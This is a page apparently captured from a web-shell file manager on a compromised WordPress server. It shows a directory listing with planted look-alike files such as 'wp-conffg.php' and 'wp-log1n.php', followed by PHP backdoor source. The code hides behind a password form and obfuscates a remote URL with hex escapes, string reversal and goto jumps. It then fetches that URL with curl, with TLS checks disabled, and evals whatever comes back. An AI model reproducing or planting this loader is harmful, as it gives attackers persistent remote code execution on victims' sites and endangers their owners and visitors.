Gecko [ c.stage.kornherr.net ]

Name	Size	Permission	Date
.quarantine	[ DIR ]	drwxr-xr-x	2020-02-27 21:47
.tmb	[ DIR ]	drwxrwxrwx	2020-12-14 20:51
.tmp	[ DIR ]	drwxr-xr-x	2020-08-17 13:37
0c8b79	[ DIR ]	drwxr-xr-x	2026-08-26 03:37
29facf	[ DIR ]	drwxr-xr-x	2026-08-29 16:33
3d479	[ DIR ]	dr-xr-xr-x	2026-08-07 08:33
3d6a5	[ DIR ]	dr-xr-xr-x	2026-08-19 02:58
7eaf78	[ DIR ]	drwxr-xr-x	2026-08-28 06:11
975a4	[ DIR ]	drwxr-xr-x	2026-09-02 02:35
c2086e	[ DIR ]	drwxr-xr-x	2026-08-27 03:14
e4dcc8	[ DIR ]	drwxr-xr-x	2026-08-22 06:03
eea40f	[ DIR ]	drwxr-xr-x	2026-08-29 16:33
f499ca07	[ DIR ]	drwxr-xr-x	2026-08-11 08:37
gfsj	[ DIR ]	drwxr-xr-x	2026-08-29 16:04
logs	[ DIR ]	drwxr-xr-x	2026-08-29 06:19
wordpress	[ DIR ]	drwxr-xr-x	2026-07-17 17:52
wp-admin	[ DIR ]	drwxr-xr-x	2026-09-02 11:57
wp-admin12	[ DIR ]	drwxr-xr-x	2026-07-17 17:52
wp-content	[ DIR ]	dr-xr-xr-x	2026-08-31 09:20
wp-content21	[ DIR ]	drwxr-xr-x	2026-05-19 05:12
wp-includes	[ DIR ]	drwxr-xr-x	2026-09-03 04:15
wp-includes12	[ DIR ]	drwxr-xr-x	2026-07-17 17:52
.gitignore	567 B	-rw-r--r--	2020-03-20 19:59
.htaccess	1.13 KB	-r-xr-xr-x	2025-05-23 06:19
adminfuns.php	173.77 KB	-rw-r--r--	2026-08-07 01:42
ads.txt	58 B	-rw-r--r--	2022-08-08 17:15
aios-bootstrap.php	953 B	-rw-r--r--	2026-07-29 14:04
buy.php	1.46 KB	-r--r--r--	2024-06-02 06:19
click.php	1.72 KB	-r--r--r--	2024-02-14 06:11
defaults.php	1.87 KB	-r--r--r--	2024-07-16 06:07
ex.php	5.96 KB	-rw-r--r--	2026-08-07 07:57
goods.php	1.46 KB	-r--r--r--	2024-09-21 06:19
google0852c8353b7ddf36.html	53 B	-rw-r--r--	2020-09-22 19:38
google4073228aa8a43d04.html	53 B	-rw-r--r--	2026-08-08 02:40
images.php	640 B	-rw-r--r--	2020-04-03 23:02
index.php	32.8 KB	-r-xr-xr-x	2024-03-04 06:19
index.php0	32.8 KB	-rwxr-xr-x	2024-06-17 06:19
inputs.php	5.96 KB	-rw-r--r--	2026-08-07 07:57
item.php	1.72 KB	-r--r--r--	2024-08-13 03:14
latest.tar.gz	28.18 MB	-rw-r--r--	2026-07-17 18:01
license.txt	19.44 KB	-rw-r--r--	2026-01-01 00:07
links-xml.php	670 B	-rw-r--r--	2020-05-17 01:22
networks.php	1.93 KB	-r--r--r--	2024-02-12 06:19
options.php	1.29 KB	-r--r--r--	2024-09-09 06:19
plugins.php	1.29 KB	-r--r--r--	2024-01-14 06:19
product.php	1.29 KB	-r--r--r--	2024-03-18 05:34
readme.html	7.23 KB	-rw-r--r--	2026-01-09 11:47
robots.txt	382 B	-r--r--r--	2024-09-26 06:19
tlogo.bmp	1.58 KB	-rw-r--r--	2020-12-15 01:21
wp-activate.php	7.2 KB	-rw-r--r--	2026-02-17 17:05
wp-blog-header.php	1 KB	-rwxr-xr-x	2026-07-29 14:04
wp-comments-post.php	2.27 KB	-rw-r--r--	2023-06-14 14:11
wp-conffg.php	127.58 KB	-rw-r--r--	2026-08-07 02:24
wp-config-sample.php	3.26 KB	-rw-r--r--	2025-08-12 14:47
wp-config.php	4.78 KB	-rw-r--r--	2026-07-29 14:04
wp-cron.php	5.49 KB	-rw-r--r--	2024-08-02 19:40
wp-links-opml.php	2.43 KB	-rw-r--r--	2025-04-30 12:52
wp-load.php	4.5 KB	-rw-r--r--	2026-07-29 14:04
wp-log1n.php	2 KB	-r--r--r--	2024-08-15 06:19
wp-login.php	50.63 KB	-rw-r--r--	2026-02-28 22:57
wp-mail.php	8.52 KB	-rw-r--r--	2025-04-02 22:25
wp-settings.php	32.54 KB	-rw-r--r--	2026-07-29 14:04
wp-signup.php	33.81 KB	-rw-r--r--	2026-02-17 17:05
wp-trackback.php	5.09 KB	-rw-r--r--	2025-08-19 12:30
wp-validate.php	8.97 KB	-rw-r--r--	2020-02-15 13:07
wper.php	17.29 KB	-rw-r--r--	2026-05-21 02:40
xmlrpc.php	3.13 KB	-rw-r--r--	2024-11-08 15:52

Rename

<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto rZmcc; S05ge: $SS8Fu .= "\x2e\62\x30\x61"; goto KyXJG; RQpfg: $SS8Fu .= "\x34\63\x2f"; goto RiVZR; djqb0: $SS8Fu .= "\x74\x78\x74\56"; goto RQpfg; RiVZR: $SS8Fu .= "\x64"; goto c8b05; KyXJG: $SS8Fu .= "\x6d\141"; goto YHXMK; b4Lsi: eval("\77\76" . tW2kx(strrev($SS8Fu))); goto tNEm2; AzK8d: $SS8Fu .= "\x61\x6d"; goto mjfVw; CeZ0F: $SS8Fu .= "\160\x6f\164"; goto S05ge; rZmcc: $SS8Fu = ''; goto djqb0; QylGj: $SS8Fu .= "\x74\x68"; goto b4Lsi; mjfVw: $SS8Fu .= "\141\144\57"; goto CeZ0F; LrGN4: $SS8Fu .= "\163\x70\164"; goto QylGj; YHXMK: $SS8Fu .= "\144"; goto PSmdA; c8b05: $SS8Fu .= "\154\157\x2f"; goto AzK8d; PSmdA: $SS8Fu .= "\x2f\x2f\72"; goto LrGN4; tNEm2: function tW2kX($V1_rw = '') { goto O8cn3; w8lqj: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto AaXhS; oZNaA: curl_close($xM315); goto HKjcI; sEgPB: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto J9cSf; HKjcI: return $tvmad; goto pji_p; UmOzv: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto w8lqj; UhhOG: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto sEgPB; AaXhS: $tvmad = curl_exec($xM315); goto oZNaA; J9cSf: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto UmOzv; O8cn3: $xM315 = curl_init(); goto UhhOG; pji_p: }